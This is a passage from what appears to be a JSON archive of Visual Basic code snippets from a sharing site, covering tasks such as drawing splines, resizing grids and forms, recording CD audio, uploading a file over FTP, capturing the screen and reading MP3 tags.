code goes in frmSpline\n'\nOption Explicit\nDim selGrip As Label\nDim mode As Integer\nPrivate Sub cboDegree_Click()\nIf Not Me.Visible Then Exit Sub\n eraseSpline\n DrawSpline\nEnd Sub\nPrivate Sub cmdClear_Click()\nDim i As Integer\nlblGrip(0).Visible = False\nFor i = 1 To lblGrip.UBound\n Unload lblGrip(i)\nNext\nReDim inp(0)\nN = 0\nReDim outp(RESOLUTION)\nPicDraw.Cls\nlblLen = \"Spline Length: 0\"\ncboDegree.Enabled = False\ntxtRes.Enabled = False\n \nEnd Sub\nPrivate Sub Form_Load()\nWith cboDegree\n .AddItem \"1\"\n .AddItem \"2\"\n .AddItem \"3\"\n .AddItem \"4\"\n .AddItem \"5\"\n .ListIndex = 2\n .Enabled = False\nEnd With\ntxtRes.Enabled=False\nRESOLUTION = 5\nEnd Sub\nPrivate Sub mnuDelete_Click()\ndelGrip\nEnd Sub\nPrivate Sub OpMode_Click(Index As Integer)\nmode = Index\nEnd Sub\nPrivate Sub lblGrip_MouseDown(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)\nSet selGrip = lblGrip(Index)\nIf Button = vbLeftButton Then\n lblGrip(Index).Drag\nElse\n PopupMenu mnuEdit\nEnd If\nEnd Sub\nPrivate Sub PicDraw_DragOver(Source As Control, X As Single, Y As Single, State As Integer)\nSource.Move X, Y\neraseSpline\ninp(Source.Index).X = X\ninp(Source.Index).Y = Y\nDrawSpline\nEnd Sub\nPrivate Sub PicDraw_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'Dim tmp As Integer\nStatic sErase As Boolean\nIf Button = vbRightButton Then Exit Sub\nIf mode = 1 Then 'Drawing mode\n ReDim Preserve inp(N)\n inp(N).X = X: inp(N).Y = Y\n If N > 0 Then Load lblGrip(N)\n With lblGrip(N)\n .Move X - .Width \\ 2, Y - .Height \\ 2\n .Visible = True\n End With\n \n N = N + 1\n If N >= 3 Then\n cboDegree.Enabled = True\n txtRes.Enabled = True\n \n If sErase Then eraseSpline\n DrawSpline\n sErase = True\n End If\nEnd If\nSet selGrip = Nothing\nEnd Sub\nPrivate Sub DrawSpline()\nDim i As Integer\nDim knots() As Integer\nDim sLen As Single\nDim h!, d!\nDim sRes As Integer\nsRes = RESOLUTION * N\n T = CInt(cboDegree.ListIndex + 1)\n \n ReDim knots(N + T) '+ 1)\n ' tmp = UBound(knots)\n ReDim outp(sRes)\n \n Call SplineKnots(knots(), N - 1, T)\n Call SplineCurve(inp(), N - 1, knots(), T, outp(), sRes)\n \n 'Calculate the length of each segment\n 'and draw it\n For i = 1 To (sRes) - 1\n d = Abs(outp(i).X - outp(i - 1).X)\n h = Abs(outp(i).Y - outp(i - 1).Y)\n sLen = sLen + Sqr(d ^ 2 + h ^ 2)\n \n frmSpline.PicDraw.Line (outp(i - 1).X, outp(i - 1).Y)-(outp(i).X, outp(i).Y), vbBlack\n Next\n lblLen = \"Spline Length:\" & CInt(sLen) & \" Pixels\"\nEnd Sub\nPrivate Sub eraseSpline()\nOn Local Error Resume Next\n'If the Outp() array isn't initialized goto error routine\n Dim i As Integer\n Dim aLen As Integer\n aLen = UBound(outp)\n If Err = 0 Then\n For i = 1 To aLen\n frmSpline.PicDraw.Line (outp(i - 1).X, outp(i - 1).Y)-(outp(i).X, outp(i).Y), PicDraw.BackColor\n Next\n \n End If\n \nerrErase:\n Err = 0\n On Local Error GoTo 0\nEnd Sub\nPrivate Sub txtRes_LostFocus()\neraseSpline\n RESOLUTION = CInt(txtRes.Text)\nDrawSpline\nEnd Sub\nPrivate Sub delGrip()\nDim newInp() As POINTAPI\nDim i As Integer, apos As Integer\nDim idx As Integer\nReDim newInp(UBound(inp) - 1)\nidx = selGrip.Index\nFor i = 0 To UBound(inp)\n If i <> 0 Then Unload lblGrip(i)\n If i <> idx Then\n newInp(apos) = inp(i)\n apos = apos + 1\n End If\nNext\nReDim inp(UBound(newInp))\nFor i = 0 To UBound(newInp)\n If i <> 0 Then Load lblGrip(i)\n With lblGrip(i)\n .Move newInp(i).X - (.Width \\ 2), newInp(i).Y - (.Height \\ 2)\n .Visible = True\n End With\n inp(i) = newInp(i)\nNext\nN = UBound(inp) + 1\neraseSpline\nDrawSpline\nEnd Sub\n'EOF() frmSpline Code\n"},{"WorldId":1,"id":1567,"LineNumber":1,"line":"/*************************** frmMain ****************************/\nVERSION 5.00\nObject = \"{5E9E78A0-531B-11CF-91F6-C2863C385E30}#1.0#0\"; \"Msflxgrd.ocx\"\nBegin VB.Form frmMain \n BorderStyle = 3 'Fixed Dialog\n Caption = \"Resize the Grid !!!\"\n ClientHeight = 4110\n ClientLeft = 4650\n ClientTop = 3750\n ClientWidth = 6735\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 4110\n ScaleWidth = 6735\n ShowInTaskbar = 0 'False\n Begin MSFlexGridLib.MSFlexGrid MSFlexGrid1 \n Height = 3015\n Left = 120\n TabIndex = 0\n Top = 960\n Width = 6495\n _ExtentX = 11456\n _ExtentY = 5318\n _Version = 65541\n Rows = 4\n Cols = 4\n AllowUserResizing= 1\n End\n Begin VB.Label Label2 \n Caption = \"Try to resize the columns of MSFlexGrid. All the columns will be resized proportionally.\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 9.75\n Charset = 204\n Weight = 400\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n ForeColor = &H8000000D&\n Height = 615\n Left = 1320\n TabIndex = 1\n Top = 120\n Width = 3975\n End\nEnd\nAttribute VB_Name = \"frmMain\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nOption Explicit\n' This constant is used to refer to the Message Handling function in a given window\nPrivate Const GWL_WNDPROC = (-4)\nPrivate Sub Form_Load()\n \n 'Save the address of the existing Message Handler\n g_lngDefaultHandler = GetWindowLong(Me.MSFlexGrid1.hwnd, GWL_WNDPROC)\n \n 'Define new message handler routine\n Call SetWindowLong(Me.MSFlexGrid1.hwnd, GWL_WNDPROC, AddressOf GridMessage)\n \nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n \n 'Return the old handler back\n Call SetWindowLong(Me.MSFlexGrid1.hwnd, GWL_WNDPROC, g_lngDefaultHandler)\n \nEnd Sub\nPublic Sub ResizeGridProportional()\nDim SumWidth As Long\nDim i As Integer\nWith MSFlexGrid1\n For i = 1 To .Cols\n SumWidth = SumWidth + .ColWidth(i - 1)\n Next i\n For i = 1 To .Cols\n .ColWidth(i - 1) = SumWidth / .Cols\n Next i\nEnd With\nEnd Sub\n\n/* ******************** MODULE ***********************************/\nAttribute VB_Name = \"mHandlers\"\n'\nOption Explicit\nPublic g_lngDefaultHandler As Long ' Original handler of the grid events\nPrivate m_bLMousePressed As Boolean 'true if the left button is pressed\nPrivate m_bLMouseClicked As Boolean 'true just after the click (i.e. just after the left button is released)\n'API declarations ============================================================\n' Function to retrieve the address of the current Message-Handling routine\nDeclare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long) As Long\n' Function to define the address of the Message-Handling routine\nDeclare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\n' Function to execute a function residing at a specific memory address\nDeclare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n'Windows messages constants\nPublic Const WM_LBUTTONUP = &H202\nPublic Const WM_LBUTTONDOWN = &H201\nPublic Const WM_ERASEBKGND = &H14\n'==============================================================================\n'this is our event handler\nPublic Function GridMessage(ByVal hwnd As Long, ByVal Msg As Long, ByVal wp As Long, ByVal lp As Long) As Long\n If m_bLMousePressed And Msg = WM_LBUTTONUP Then\n 'button have been just released\n m_bLMousePressed = False\n m_bLMouseClicked = True\n End If\n \n If Not (m_bLMousePressed) And Msg = WM_LBUTTONDOWN Then\n 'button have been just pressed\n m_bLMousePressed = True\n m_bLMouseClicked = False\n End If\n \n If m_bLMouseClicked And (Msg = WM_ERASEBKGND) Then\n 'Only when resize happens this event may occur after releasing the button !\n 'When user is making a simple click on grid,\n 'the WM_ERASEBKGND event occurs before WM_LBUTTONUP,\n 'and therefore will not be handled there\n \n frmMain.ResizeGridProportional\n m_bLMouseClicked = False\n \n End If\n \n 'call the default message handler\n GridMessage = CallWindowProc(g_lngDefaultHandler, hwnd, Msg, wp, lp)\n \nEnd Function"},{"WorldId":1,"id":2642,"LineNumber":1,"line":"Public Function GetNewGUIDStr() As String\nDim pGuid As GUID\nDim lResult As Long\nDim s As String\n \n 'this is a buffer string to be passed in API function\n '100 chars will be enough\n s = String(100, \" \")\n 'creating new ID and obtaining result in pointer to GUID \n lResult = CoCreateGuid(pGuid)\n 'converting GUID structure to string\n lResult = StringFromGUID2(pGuid, s, 100)\n 'removing all trailing blanks\n s = Trim(s)\n 'converting a sting from unicode\n GetNewGUIDStr = StrConv(s, vbFromUnicode)\n \nEnd Function"},{"WorldId":1,"id":2091,"LineNumber":1,"line":"'This control use MCI to control CD\nPublic Sub RecordWave(TrackNum As Integer, Filename As String)\n' TrackNum: track to record\n' Filename: file to save wave as\nOn Local Error Resume Next\nDim i As Long\nDim RS As String\nDim cb As Long\nDim t\n RS = Space$(128)\n i = mciSendString(\"stop cdaudio\", RS, 128, cb)\n i = mciSendString(\"close cdaudio\", RS, 128, cb)\n Kill Filename\n RS = Space$(128)\n i = mciSendString(\"status cdaudio position track \" & TrackNum, RS, 128, cb)\n i = mciSendString(\"open cdaudio\", RS, 128, cb)\n i = mciSendString(\"set cdaudio time format milliseconds\", RS, 128, cb)\n i = mciSendString(\"play cdaudio\", RS, 128, cb)\n i = mciSendString(\"open new type waveaudio alias capture\", RS, 128, cb)\n i = mciSendString(\"record capture\", RS, 128, cb)\n t# = Timer + 1: Do Until Timer > t#: DoEvents: Loop\n i = mciSendString(\"save capture \" & Filename, RS, 128, cb)\n i = mciSendString(\"stop cdaudio\", RS, 128, cb)\n i = mciSendString(\"close cdaudio\", RS, 128, cb)\nEnd Sub\n"},{"WorldId":1,"id":8398,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6123,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1573,"LineNumber":1,"line":"Public Sub NoResizeForm()\nDim hMenu As Long\n Const SC_SIZE = &HF000\n Const MF_BYCOMMAND = &H0\n hMenu = GetSystemMenu(hwnd, 0)\n Call DeleteMenu(hMenu, SC_SIZE, MF_BYCOMMAND)\nEnd Sub"},{"WorldId":1,"id":1574,"LineNumber":1,"line":"Public Function addQuotes(ByVal str As String) As String\n addQuotes = Chr(34) & str & Chr(34)\nEnd Function\n"},{"WorldId":1,"id":1576,"LineNumber":1,"line":"Public Function CheckKeyPress(iKeyIn As Integer, cAllowed As String) As Integer\n Dim cValidKeys As String\n Select Case cAllowed\n Case \"N\" ' Just numbers\n cValidKeys = \"1234567890\" & vbCr & vbTab & vbBack\n Case \"N1\" ' Decimal numbers\n cValidKeys = \"1234567890,\" & vbCr & vbTab & vbBack\n Case \"N2\" ' Simple math\n cValidKeys = \"1234567890+-*/=,\" & vbCr & vbTab & vbBack\n Case \"C\" ' Simple characterset(I'm Swedish, hence some strange ones)\n cValidKeys = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ├à├ä├ûAA├ëE├£I- \" & vbCr & vbTab & vbBack\n Case \"C1\" ' Enhanced characterset\n cValidKeys = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ├à├ä├ûAA├ëE├£I&#,.-/\\+-*%$<>:;@!?=() \" & vbCr & vbTab & vbBack\n Case \"C2\" ' Enhanced + digits\n cValidKeys = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ├à├ä├ûAA├ëE├£I1234567890┬╜&#,.-/\\+-*%$<>:;@!?=() \" & vbCr & vbTab & vbBack\n Case \"M\" ' Mail and WWW\n cValidKeys = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_/\\~:@.\" & vbCr & vbTab & vbBack\n Case \"D\" ' Date or telephonenumbers\n cValidKeys = \"0123456789-\" & vbCr & vbTab & vbBack\n End Select\n If InStr(cValidKeys, UCase(Chr(iKeyIn))) Then\n CheckKeyPress = iKeyIn\n Else\n Beep\n CheckKeyPress = 0\n End If\nEnd Function"},{"WorldId":1,"id":1577,"LineNumber":1,"line":"'First create a form with a menu item listing 3 sub menus. mnuExit, mnuMinUpload and mnuResUpload.\nOption Explicit\nDim Tic As NOTIFYICONDATA\nPrivate Sub Form_Activate()\n Dim TimeDelay&\n \n Label2.Caption = \"v\" & App.Major & \".\" & App.Minor & \".\" & App.Revision & \" \" & Label2.Caption\n \n TimeDelay = Timer + 3\n While Timer <= TimeDelay\n DoEvents\n Wend\n Me.Hide\n mnuSystemTray.Visible = True\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'Event occurs when the mouse pointer is within the rectangular\n 'boundaries of the icon in the taskbar status area.\n Dim msg As Long\n Dim sFilter As String\n \n msg = X / Screen.TwipsPerPixelX\n Select Case msg\n Case WM_LBUTTONDBLCLK\n mnuMinUpload_Click\n Case WM_RBUTTONUP\n PopupMenu mnuSystemTray, , , , mnuMinUpload\n End Select\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Shell_NotifyIcon NIM_DELETE, Tic\nEnd Sub\nPrivate Sub Form_Load()\n If App.PrevInstance Then End\n Dim rc As Long\n \n Tic.cbSize = Len(Tic)\n Tic.hwnd = Me.hwnd\n Tic.uID = vbNull\n Tic.uFlags = NIF_DOALL\n Tic.uCallbackMessage = WM_MOUSEMOVE\n Tic.hIcon = Me.Icon\n Tic.sTip = \"AOL Upload Minimizer\" & vbNullChar\n \n rc = Shell_NotifyIcon(NIM_ADD, Tic)\nEnd Sub\nPrivate Sub mnuExit_Click()\n End\nEnd Sub\nPrivate Sub mnuResUpload_Click()\n Dim AOL As Long\n Dim AOModal As Long\n Dim AOGauge As Long\n \n AOL = FindWindow(\"AOL Frame25\", vbNullString)\n AOModal = FindWindow(\"_AOL_Modal\", vbNullString)\n AOGauge = FindChildByClass(AOModal, \"_AOL_Gauge\")\n \n If AOGauge <> 0 Then\n EnableWindow AOL, 1\n ShowWindow AOModal, SW_RESTORE\n End If\nEnd Sub\nPrivate Sub mnuMinUpload_Click()\n Dim AOL As Long\n Dim AOModal As Long\n Dim AOGauge As Long\n \n AOL = FindWindow(\"AOL Frame25\", vbNullString)\n AOModal = FindWindow(\"_AOL_Modal\", vbNullString)\n AOGauge = FindChildByClass(AOModal, \"_AOL_Gauge\")\n \n If AOGauge <> 0 Then\n EnableWindow AOL, 1\n ShowWindow AOModal, SW_MINIMIZE\n End If\nEnd Sub\nPrivate Function FindChildByClass(Parent&, Child$) As Integer\n Dim ChildFocus%, Buffer$, ClassBuffer%\n \n ChildFocus% = GetWindow(Parent, 5)\n While ChildFocus%\n Buffer$ = String$(250, 0)\n ClassBuffer% = GetClassName(ChildFocus%, Buffer$, 250)\n If InStr(UCase(Buffer$), UCase(Child)) Then\n FindChildByClass = ChildFocus%\n Exit Function\n End If\n ChildFocus% = GetWindow(ChildFocus%, 2)\n Wend\nEnd Function\n"},{"WorldId":1,"id":1602,"LineNumber":1,"line":"''for loop adds all font types in computer to combo box\n fType.Clear ''clears combo box\n For i = 0 To Screen.FontCount - 1 ''counts # of fonts\n fType.AddItem Screen.Fonts(i) ''adds font to combo box\n Next i"},{"WorldId":1,"id":1607,"LineNumber":1,"line":"Public Function SQLDate(ConvertDate As Date) As String\n SQLDate = Format(ConvertDate, \"mm/dd/yyyy\")\nEnd Function"},{"WorldId":1,"id":1612,"LineNumber":1,"line":"Dim x1 As Long\nDim x2 As Long\nDim last As String\nPrivate Sub Command1_Click()\nWinsock2.RemoteHost = \"\" 'Enter Server here\nWinsock2.RemotePort = 21 ' Usually the port is 21, but if it's different, enter it here\nWinsock2.Connect\nDo Until Winsock2.State = sckConnected ' Wait until connected\nDoEvents\nDebug.Print Winsock2.State\nLoop\nWinsock2.SendData \"USER \" & vbCrLf 'Enter username behind USER\nlast = \"\"\nDo Until last <> \"\" 'Wait until server responds\nDoEvents\nLoop\nWinsock2.SendData \"PASS \" & vbCrLf 'Enter password behind PASS\nlast = \"\"\nDo Until last <> \"\" 'Wait until server responds\nDoEvents\nLoop\nRandomize\nx1 = Int(10 * Rnd + 1) ' Find two random numbers to specify port the server connects to\nRandomize\nx2 = Int(41 * Rnd + 10)\n\nDim ip As String\nip = Winsock2.LocalIP\nDo Until InStr(ip, \".\") = 0 ' replace every \".\" in IP with a \",\"\n ip = Mid(ip, 1, InStr(ip, \".\") - 1) & \",\" & Mid(ip, InStr(ip, \".\") + 1)\nLoop\nWinsock2.SendData \"PORT \" & ip & \",\" & Trim(Str(x1)) & \",\" & Trim(Str(x2)) & vbCrLf 'Tell the server with which IP he has to connect and with which port\n\nlast = \"\"\nDo Until last <> \"\" 'Wait until server responds\nDoEvents\nLoop\nWinsock1.Close\nWinsock1.LocalPort = x1 * 256 Or x2 ' Set port of second winsock-control to the port the server will connect to\n' x1 is the most-significant byte of the port number, x1 is the least significant byte. To find the port, you have to move every bit 8 places to the right (or multiply with 256). Then compare every bit with the bits of x2, using OR\nWinsock1.Listen 'Listen for the FTP-Server to connect\nWinsock2.SendData \"STOR ich.html\" & vbCrLf 'Store a file, with RETR you can get a file, with LIST you get a list of all file on the server, all this information is sent through the data-connection (to change directory use CWD)\nDo Until Winsock1.State = sckConnected 'Wait until the FTP-Server connects\nDoEvents\nLoop\nPause 1 'wait a little bit, because the server needs a moment (don't know how, but it only works so)\nWinsock1.SendData \"TEST\" 'Send some data, the FTP-Server will store it in the file. Send only ASCII data, if you send Binary you have to tell it the server before, use TYPE to do this\nPause 1\nWinsock1.Close ' Close data-connection\nPause 1\nWinsock2.Close 'You don't have to close the connection here, you also can transfer another file\n\nEnd Sub\nPublic Sub Pause(Seconds)\nDim Zeit As Long\nZeit = Timer\nDo\nDoEvents\nLoop Until Zeit + Seconds <= Timer\nEnd Sub\nPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)\nWinsock1.Close\nWinsock1.Accept requestID\nEnd Sub\n\nPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)\nDim data As String\nWinsock1.GetData data\nDebug.Print data\nWinsock1.Close ' You have to close the connection after the Server had send you data, he will establish it again, when he sends more\nWinsock1.Listen\nEnd Sub\n\nPrivate Sub Winsock2_DataArrival(ByVal bytesTotal As Long)\nDim data As String\nWinsock2.GetData data\nDebug.Print data\nlast = data 'Store data\nEnd Sub"},{"WorldId":1,"id":1617,"LineNumber":1,"line":"'1, Declararion\n' This should be in the form's General Declaration Area. If you declare in a Modeule,\n' you need to omit the word \"private\"\nPrivate Declare Function CreateRoundRectRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long\nPrivate Declare Function CreateRectRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPrivate Declare Function CreateEllipticRgn Lib \"gdi32\" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long\nPrivate Declare Function CombineRgn Lib \"gdi32\" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long\n \n \n'2 The Function\n' This should be in the form's code. \nPrivate Function fMakeATranspArea(AreaType As String, pCordinate() As Long) As Boolean\n'Name: fMakeATranpArea\n'Author: Dalin Nie\n'Date: 5/18/98\n'Purpose: Create a Transprarent Area in a form so that you can see through\n'Input: Areatype : a String indicate what kind of hole shape it would like to make\n' PCordinate : the cordinate area needed for create the shape:\n' Example: X1, Y1, X2, Y2 for Rectangle\n'OutPut: A boolean\nConst RGN_DIFF = 4\nDim lOriginalForm As Long\nDim ltheHole As Long\nDim lNewForm As Long\nDim lFwidth As Single\nDim lFHeight As Single\nDim lborder_width As Single\nDim ltitle_height As Single\n On Error GoTo Trap\n lFwidth = ScaleX(Width, vbTwips, vbPixels)\n lFHeight = ScaleY(Height, vbTwips, vbPixels)\n lOriginalForm = CreateRectRgn(0, 0, lFwidth, lFHeight)\n \n lborder_width = (lFHeight - ScaleWidth) / 2\n ltitle_height = lFHeight - lborder_width - ScaleHeight\nSelect Case AreaType\n \n Case \"Elliptic\"\n \n ltheHole = CreateEllipticRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4))\n Case \"RectAngle\"\n \n ltheHole = CreateRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4))\n \n Case \"RoundRect\"\n \n ltheHole = CreateRoundRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4), pCordinate(5), pCordinate(6))\n Case \"Circle\"\n ltheHole = CreateRoundRectRgn(pCordinate(1), pCordinate(2), pCordinate(3), pCordinate(4), pCordinate(3), pCordinate(4))\n \n Case Else\n MsgBox \"Unknown Shape!!\"\n Exit Function\n End Select\n lNewForm = CreateRectRgn(0, 0, 0, 0)\n CombineRgn lNewForm, lOriginalForm, _\n ltheHole, RGN_DIFF\n \n SetWindowRgn hWnd, lNewForm, True\n Me.Refresh\n fMakeATranspArea = True\nExit Function\nTrap:\n MsgBox \"error Occurred. Error # \" & Err.Number & \", \" & Err.Description\nEnd Function\n \n \n' 3 How To Call \n \nDim lParam(1 To 6) As Long\nlParam(1) = 100\nlParam(2) = 100\nlParam(3) = 250\nlParam(4) = 250\nlParam(5) = 50\nlParam(6) = 50\nCall fMakeATranspArea(\"RoundRect\", lParam())\n'Call fMakeATranspArea(\"RectAngle\", lParam())\n'Call fMakeATranspArea(\"Circle\", lParam())\n'Call fMakeATranspArea(\"Elliptic\", lParam())\n"},{"WorldId":1,"id":1621,"LineNumber":1,"line":"'1: Declare\n' This should be in the form's heneral declaration area. \n' If you do it in a module, omit the word \"Private\"\nPrivate Declare Sub keybd_event Lib \"user32\" (ByVal bVk As Byte, ByVal bScan As Byte, _\n ByVal dwFlags As Long, ByVal dwExtraInfo As Long)\n'\n'2. The Function\n' You can add this to your form's code\n' or you can put it in a module if the declaration is in a module\nPublic Function fSaveGuiToFile(ByVal theFile As String) As Boolean\n' Name: fSaveGuiToFile\n' Author: Dalin Nie\n' Written: 4/2/99\n' Purpose:\n' This procedure will Capture the Screen or the active window of your Computer and Save it as \n' a .bmp file\n' Input:\n' theFile file Name with path, where you want the .bmp to be saved\n'\n' Output:\n' True if successful\n'\nDim lString As String\nOn Error goto Trap\n'Check if the File Exist\n If Dir(theFile) <> \"\" Then Exit Function\n 'To get the Entire Screen\n Call keybd_event(vbKeySnapshot, 1, 0, 0)\n 'To get the Active Window\n 'Call keybd_event(vbKeySnapshot, 0, 0, 0)\n \n SavePicture Clipboard.GetData(vbCFBitmap), theFile\nfSaveGuiToFile = True\nExit Function\nTrap:\n'Error handling\nMsgBox \"Error Occured in fSaveGuiToFile. Error #: \" & Err.Number & \", \" & Err.Description\nEnd Function\n'\n3. To call the function, add the code:\nCall fSaveGuiToFile(yourFileNAme)\n' Example: in a command1_click event add: call fSaveGuiToFile(\"C:\\Scrn_pic.bmp\")\n'When you run your app, click command1, the screen will be saved in c:\\scrn_pic.bmp.\n"},{"WorldId":1,"id":2114,"LineNumber":1,"line":"Option Explicit\nPrivate fForm As Form\nPrivate lOriginalWidth As Long\nPrivate lOriginalHeight As Long\nPrivate lMinWidth As Long\nPrivate lMinHeight As Long\nPrivate Type udtControl\n lLeft As Long\n lTop As Long\n lWidth As Long\n lHeight As Long\nEnd Type\nPrivate aControls() As udtControl\nPublic Property Let Form(ByVal fPassForm As Form)\n \nDim iCount As Integer\nDim cControl As Control\n Set fForm = fPassForm\n \n ' Store form's original Width & Height\n \n lOriginalWidth = fForm.Width\n lOriginalHeight = fForm.Height\n ' Use error trapping to ignore components that don't\n ' support certain properties being read at run-time\n On Error Resume Next\n ' Store the form's component's properties\n iCount = 0\n ReDim aControls(fForm.Controls.Count)\n For Each cControl In fForm.Controls\n iCount = iCount + 1\n With aControls(iCount)\n If TypeOf cControl Is Line Then\n .lLeft = cControl.X1\n .lTop = cControl.Y1\n .lWidth = cControl.X2\n .lHeight = cControl.Y2\n Else\n .lLeft = cControl.Left\n .lTop = cControl.Top\n .lWidth = cControl.Width\n .lHeight = cControl.Height\n End If\n End With\n Next\nEnd Property\nPublic Sub FormResize()\n ' Resize the form\nDim iCount As Integer\nDim cControl As Control\nDim iTaskBarHeight As Integer\nDim sOriginalWidthUnit As Single\nDim sOriginalHeightUnit As Single\n If fForm Is Nothing Then Exit Sub\n ' Don't process minimized forms\n \n If fForm.WindowState = vbMinimized Then Exit Sub\n ' Check form size against minimums\n \n If fForm.Width < lMinWidth Then fForm.Width = lMinWidth\n If fForm.Height < lMinHeight Then fForm.Height = lMinHeight\n ' Perform calculations in advance (speed increase)\n iTaskBarHeight = 28 * Screen.TwipsPerPixelY ' Standard height\n sOriginalWidthUnit = lOriginalWidth / fForm.Width\n sOriginalHeightUnit = (lOriginalHeight - iTaskBarHeight) / (fForm.Height - iTaskBarHeight)\n ' Use error trapping to ignore components that don't\n ' support certain properties being set at run-time\n On Error Resume Next\n ' Resize...\n \n iCount = 0\n For Each cControl In fForm.Controls\n iCount = iCount + 1\n With cControl\n If TypeOf cControl Is Line Then\n .X1 = Int(aControls(iCount).lLeft / sOriginalWidthUnit)\n .Y1 = Int(aControls(iCount).lTop / sOriginalHeightUnit)\n .X2 = Int(aControls(iCount).lWidth / sOriginalWidthUnit)\n .Y2 = Int(aControls(iCount).lHeight / sOriginalHeightUnit)\n Else\n .Left = Int(aControls(iCount).lLeft / sOriginalWidthUnit)\n .Top = Int(aControls(iCount).lTop / sOriginalHeightUnit)\n .Width = Int(aControls(iCount).lWidth / sOriginalWidthUnit)\n .Height = Int(aControls(iCount).lHeight / sOriginalHeightUnit)\n End If\n End With\n Next\nEnd Sub\n\nPrivate Sub Class_Terminate()\n Set fForm = Nothing\nEnd Sub\n\n\nPublic Property Let MinWidth(ByVal lPassMinWidth As Long)\n lMinWidth = lPassMinWidth\nEnd Property\nPublic Property Let MinHeight(ByVal lPassMinheight As Long)\n lMinHeight = lPassMinheight\nEnd Property\n"},{"WorldId":1,"id":1941,"LineNumber":1,"line":"Option Explicit\n' Title: MP3 Snatch\n' Author: Leigh Bowers\n' Version: 2.0\n' Released: 1st June 1999\n' WWW: http://www.esheep.freeserve.co.uk/compulsion/index.html\n' Email: compulsion@esheep.freeserve.co.uk\n' News: Added \"Genre\" functionality (WinAMP compliant)\nPrivate sFilename As String\nPrivate Type Info\n sTitle As String * 30\n sArtist As String * 30\n sAlbum As String * 30\n sComment As String * 30\n sYear As String * 4\n sGenre As String * 21 ' NEW\nEnd Type\nPrivate MP3Info As Info\nPublic Property Get Filename() As String\n Filename = sFilename\nEnd Property\nPublic Property Let Filename(ByVal sPassFilename As String)\n Dim iFreefile As Integer\n Dim lFilePos As Long\n Dim sData As String * 128\n Dim sGenreMatrix As String\n Dim sGenre() As String\n \n ' Genre\n \n sGenreMatrix = \"Blues|Classic Rock|Country|Dance|Disco|Funk|Grunge|\" + _\n \"Hip-Hop|Jazz|Metal|New Age|Oldies|Other|Pop|R&B|Rap|Reggae|Rock|Techno|\" + _\n \"Industrial|Alternative|Ska|Death Metal|Pranks|Soundtrack|Euro-Techno|\" + _\n \"Ambient|Trip Hop|Vocal|Jazz+Funk|Fusion|Trance|Classical|Instrumental|Acid|\" + _\n \"House|Game|Sound Clip|Gospel|Noise|Alt. Rock|Bass|Soul|Punk|Space|Meditative|\" + _\n \"Instrumental Pop|Instrumental Rock|Ethnic|Gothic|Darkwave|Techno-Industrial|Electronic|\" + _\n \"Pop-Folk|Eurodance|Dream|Southern Rock|Comedy|Cult|Gangsta Rap|Top 40|Christian Rap|\" + _\n \"Pop/Punk|Jungle|Native American|Cabaret|New Wave|Phychedelic|Rave|Showtunes|Trailer|\" + _\n \"Lo-Fi|Tribal|Acid Punk|Acid Jazz|Polka|Retro|Musical|Rock & Roll|Hard Rock|Folk|\" + _\n \"Folk/Rock|National Folk|Swing|Fast-Fusion|Bebob|Latin|Revival|Celtic|Blue Grass|\" + _\n \"Avantegarde|Gothic Rock|Progressive Rock|Psychedelic Rock|Symphonic Rock|Slow Rock|\" + _\n \"Big Band|Chorus|Easy Listening|Acoustic|Humour|Speech|Chanson|Opera|Chamber Music|\" + _\n \"Sonata|Symphony|Booty Bass|Primus|Porn Groove|Satire|Slow Jam|Club|Tango|Samba|Folklore|\" + _\n \"Ballad|power Ballad|Rhythmic Soul|Freestyle|Duet|Punk Rock|Drum Solo|A Capella|Euro-House|\" + _\n \"Dance Hall|Goa|Drum & Bass|Club-House|Hardcore|Terror|indie|Brit Pop|Negerpunk|Polsk Punk|\" + _\n \"Beat|Christian Gangsta Rap|Heavy Metal|Black Metal|Crossover|Comteporary Christian|\" + _\n \"Christian Rock|Merengue|Salsa|Trash Metal|Anime|JPop|Synth Pop\"\n \n ' Build the Genre array (VB6+ only)\n \n sGenre = Split(sGenreMatrix, \"|\")\n \n ' Store the filename (for \"Get Filename\" property)\n sFilename = sPassFilename\n \n ' Clear the info variables\n \n MP3Info.sTitle = 